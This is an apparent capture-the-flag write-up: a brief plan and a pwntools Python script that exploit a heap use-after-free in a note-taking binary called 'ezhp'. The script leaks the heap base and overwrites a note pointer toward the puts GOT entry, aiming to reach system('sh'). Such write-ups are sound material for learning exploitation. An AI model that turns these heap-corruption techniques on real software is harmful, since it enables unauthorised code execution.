Exploiting fastbins. Firstly, a UAF leaks the heap base address. Once we know the base, we can overwrite the pointer to a note
and then read off the memory referenced by that pointer. So, point it to the got_entry of puts. After leaking got_entry,
calculate system() offset and finally create a note with string sh\x00\x00 and then read that note.

Coded in python.

#!/usr/bin/python
from pwn import *

p = process("./ezhp")
raw_input()

def conv(inp):
	ret = inp[6:8]
	ret += inp[4:6]
	ret += inp[2:4]
	ret += inp[0:2]
	ret = int(ret,16)
	return ret

def add_note(size):
	p.sendline("1")
	p.sendline(str(size))
	print p.recv()

def remove_note(idx):
	p.sendline("2")
	p.sendline(str(idx))
	print p.recv()

def edit_note(idx,size,data):
	p.sendline("3")
	p.sendline(str(idx))
	p.sendline(str(size))
	p.sendline(data)
	print p.recv()

def print_note(idx):
	p.sendline("4")
	p.sendline(str(idx))
	a = p.recv()
	leak = a.split()
	leak = leak[5]
	leak = leak[28:]
	leak = leak.encode("hex")
	final_leak = conv(leak)
	return final_leak

add_note(20)
add_note(20)

'''LEAK HEAP'''

payload = "\xc0\xc0\xc0\xc0" + "A"*24
#payload += p32(0xdeadbeef)

edit_note(0,28,payload)
heap_addr = print_note(0)
heap_base = heap_addr - 0x54
print heap_base

put_got = 0x0804a010
payload += p32(heap_base+0x20)
payload += p32(put_got-0x4)
edit_note(0,36,payload)
p.interactive()